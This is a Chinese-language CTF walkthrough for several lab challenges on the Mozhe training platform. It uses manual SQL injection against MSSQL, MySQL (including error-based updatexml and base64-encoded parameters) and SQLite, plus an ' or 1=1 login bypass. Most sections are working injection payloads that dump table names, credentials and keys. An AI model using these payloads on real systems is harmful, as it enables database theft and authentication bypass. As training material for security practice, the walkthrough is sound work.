?id=-2 union all select 1,system_user%2B'|'%2Bdb_name(),b.name,2 from mozhe_db_v2..sysobjects a, mozhe_db_v2..syscolumns b where a.xtype='U' and a.id=b.id and a.name='announcement'
image.png
?id=-2 union all select 1,system_user%2B'|'%2Bdb_name(),b.name,2 from mozhe_db_v2..sysobjects a, mozhe_db_v2..syscolumns b where a.xtype='U' and a.id=b.id and a.name='announcement' and b.name not in ('id','title','contents','times')
image.png
得到表announcement的字段名为:id,title,contents,times
或者使用下面的方法进行枚举
?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',null
image.png
?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),2) from sysobjects),'3',null
image.png
?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),3) from sysobjects),'3',null
image.png
也可以获取到manage的字段名为:id,username,password
需要解释的函数
col_name()、object()
col_name() 可以根据id值得到对象的名称,而且可以返回指定下标显示的结果
object()数据库中每个对象都有一个唯一的id值,object_id(name)可以根据表对象名称得到对象id,object_id()只能返回用户创建的对象id,像sys开头的表都是系统表,无法返回
爆字段内容
?id=-2 union all select 1,(select username from manage),(select password from manage where username in ('admin')),null
image.png
?id=-2 union all select 1,(select password from manage),(select username from manage where password in ('password')),null
image.png
11、SQL注入漏洞测试(delete注入)
当提交留言的时候,删除,左下角会出现id
image.png
输入单引号,页面报错,测试注入 ,尝试order by ,失败
image.png
测试and,页面正常回显
image.png
尝试使用报错注入,用到的函数,之前上面也讲过。
枚举当前数据库
?id=-61 and (updatexml(null,concat(0x7e,(select database()),0x7e),1)) #pikaqiu
image.png
枚举当前表
?id=-61 and (updatexml(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)) #message
image.png
爆字段
?id=-61 and (updatexml(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='message'),0x7e),1)) #id,content,time,key
image.png
爆字段的值
1.因为报错内容回显只能回显32位,而"~"占了一个字符,所以爆出来的key值是少1位的,知道原因后就有很多处理方法了,可以有right()方法,也可以爆出31位密码,最后1位一个一个试。
方法:1
?id=-61 and updatexml(1,concat(0x7e,right((select group_concat(`key`) from message),32),0x7e),0)
image.png
2.key要用单引号括住,否则会报错,因为key是保留字段。参考网站
3.因为这个是请求删除的url,前面的如果你请求id为61~65,因为墨者服务器数据库里面存的key的数据在这个范围(没精确到是哪个),当前面注入成功的时候也会删除对应id的key内容,导致最后出现爆字段key值的时候,很多评论会有key值为空的情况。如果遇到这种情况,重启环境再爆字段即可。这种方式我也是参考网上的。
方法2:
?id=-60 and updatexml(1,concat(0x7e,(select group_concat(`key`) from message),0x7e),1)
image.png
提交flag。
10、SQL注入实战-MySQL
打开题目,发现url的id参数有一串base64,MQo=解码,得到1
利用这种思路,进行注入测试
所有参数都需要加密成base64进行测试
输入',页面出现异常,可能存在注入,继续测试
?id=MSc=
image.png
判断注入类型
and 1=1 页面正常
and 1=2 页面异常
?id=MSBhbmQgMT0x and 1=1
?id=MSBhbmQgMT0y and 1=2
image.png
image.png
数值型注入
判断字段长度
order by 2 页面正常 3 页面异常
?id=MSBvcmRlciBieSAy
image.png
判断显示位
?id=LTEgdW5pb24gc2VsZWN0IDEsMg==
image.png
枚举当前数据库
?id=LTEgdW5pb24gc2VsZWN0IGRhdGFiYXNlKCksMg==
image.png
枚举所有数据库
?id=-1 union select schema_name,2 from information_schema.schemata limit 0,1
通过调整limit即可遍历出所有的数据库,调整方法为limit 0,1;limit 1,2;limit 2,3……直到出现错误或异常,两个库
image.png
获取表里面的内容
?id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()
image.png
枚举表中的列
-1 union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='data'
image.png
获取key值
?id=-1 union select group_concat(id,0x7e,title,0x7e,main,0x7e,thekey,0x7e),2 from data
image.png
得到key,进行提交
11、SQL注入漏洞测试(登录绕过)
根据题目提示使用万能密码测试
账号:'or 1=1 --+
密码随便输入或者不输入也可以
分析登陆成功原因
账号查询时把用户名和密码放在一条查询语句中查询
语句为:
select * from user where username='$username' and password="$password"
当用户名中'闭合了前面的'or 1=1 永远为真 --+是sql语句注释,所有不用数据密码即可登陆账号。
12、SQL手工注入漏洞测试(SQLite数据库)
漏洞利用前,首先要了解SQLite数据库数据结构
sqlite数据库有两个内指表:和,前者存放当前数据库中所有表相关的信息,比如表的名称、用于创建此表的sql语句、索引、索引所属的表、sql语句,后者则是存放临时表的相关信息。这两个表的结构为“
type TEXT,
name TEXT,
tbl_name TEXT,
rootpage INTEGER,
sql TEXT
sqlite有一个隐藏表sqlite_master。从里面拿到我们需要的表明。sqlite_master里的name是数据库名,sql是我们需要的字段/列名
输入单引号页面出现异常
继续测试,判断注入类型
and 1=1 页面正常
and 1=2 页面异常
image.png
数值型注入
判断字段长度
order by 4 正常,5报错
image.png
判断显示位
?id=-1 union select 1,2,3,4
image.png
枚举当前数据表 MySQL对应的是information_schema,sqlite对应sqlite_master
?id=1 union select 1,2,(select group_concat(tbl_name) from sqlite_master),4
image.png
或者
?id=1 union select 1,name,sql,4 from sqlite_master limit 0,1
通过调整limit即可遍历出所有的数据库,调整方法为limit 0,1;limit 1,2;limit 2,3……直到出现错误或异常
上面语句中name相当于mysql的table_name
image.png
字段
?id=1 union select 1,2,sql,4 from sqlite_master where type='table' and name='WSTMart_reg' limit 0,1
上列语句语句中的sql相当于mysql中的column_name
image.png
从返回的结果可以看到name,password等字段
?id=1 union select 1,name,password,4 from WSTMart_reg
image.png
解密登陆,提交flag.